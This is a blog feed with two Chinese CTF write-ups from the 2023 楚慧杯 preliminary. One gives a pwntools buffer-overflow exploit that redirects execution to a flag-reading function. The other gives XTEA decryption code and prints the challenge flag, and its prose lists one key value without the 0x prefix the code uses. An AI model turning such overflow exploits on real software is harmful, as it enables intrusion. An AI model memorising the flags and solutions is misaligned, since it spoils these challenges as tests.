Inf0 - 楚慧杯 https://dirtycow.cn/tag/%E6%A5%9A%E6%85%A7%E6%9D%AF/ 2023楚慧杯初赛pwn部分WriteUp https://dirtycow.cn/187.html 2023-12-19T20:22:00+08:00 base思路:checksec查看程序 开了NX保护image-20231219194716217.png直接脱ida简单分析一下image-20231219200214179.png在49行程序gets了用户输入到inputimage-20231219200424823.png发现input的大小是0x20shift+f12查看字符串 发现了flag.txtimage-20231219201516217.png跟进去查看 推测是读取flag的函数 函数的地址是0x40490Dimage-20231219201617949.png接下来我们构造payload因为是64位程序 所以要用8个字节覆盖rbppayload = b'A'*0x20 + b'B'*8 + p64(0x40490D+1)exp:from pwn import * p = process('./base') payload = b"A" * 0x20 + b"B" * 8 + p64(0x40490D+1) p.sendline(b'1') p.sendline(payload) p.interactive() image-20231219202123415.png 2023楚慧杯初赛reverse部分WriteUp https://dirtycow.cn/186.html 2023-12-19T15:35:00+08:00 babyre思路:提示是xxtea加密image-20231219142425780.png用ida打开,找到了key和加密后的data值image-20231219142609263.png跟进去encode函数查看 发现这并不是xxtea加密,而是xtea加密,比赛的时候一直在用xxtea的脚本解,没解出来image-20231219142741402.png接下来提取key和encode_data将qword_400E80和qword_400E88拆成4个dword数据就是key即int key[] = {0xDEADBEEF,87654321,0xFACEB00C,0xCAFEBABE};将encode_data也按照上述的数据类型提取int data[] = {0x168F8672,0x2DBD824,0x0CF647FCA,0x0E6EFA7EF,0x4AE016F0,0x0C5832E1D,0x455C0A05,0x0FFEB8140,0x0BE9561EF,0x7F819E23,0x3BC04269,0x0C68B825B,0x0E6A5B1F0,0x0BD03CBBD,0x0A9B3CE0E,0x6C85E6E7,0x9F5C71EF,0x3BE4BD57};image-20231219143124477.png直接拿脚本解密exp#include <stdio.h> #include <stdint.h> /* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */ void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9; for (i=0; i < num_rounds; i++) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } v[0]=v0; v[1]=v1; } void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; for (i=0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0]=v0; v[1]=v1; } int main() { uint32_t encode_data[]={ 0x168F8672,0x2DBD824,0x0CF647FCA,0x0E6EFA7EF,0x4AE016F0,0x0C5832E1D,0x455C0A05, 0x0FFEB8140,0x0BE9561EF,0x7F819E23,0x3BC04269,0x0C68B825B,0x0E6A5B1F0,0x0BD03CBBD, 0x0A9B3CE0E,0x6C85E6E7,0x9F5C71EF,0x3BE4BD57 }; uint32_t const key[] = {0xDEADBEEF,0x87654321,0xFACEB00C,0xCAFEBABE}; unsigned int r=32;//num_rounds建议取值为32 // v为要加密的数据是两个32位无符号整数 // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位 // printf("加密前原始数据:%u %u\n",v[0],v[1]); // encipher(r, v, k); // printf("加密后的数据:%u %u\n",v[0],v[1]); uint32_t tmp[2] = {0}; for(int i = 0; i < sizeof(encode_data)/sizeof(uint32_t); i+=2) { tmp[0] = encode_data[i]; tmp[1] = encode_data[i+1]; decipher(r,tmp, key); printf("%s",tmp); } return 0; }flagDASCTF{Don't_forget_to_drink_tea}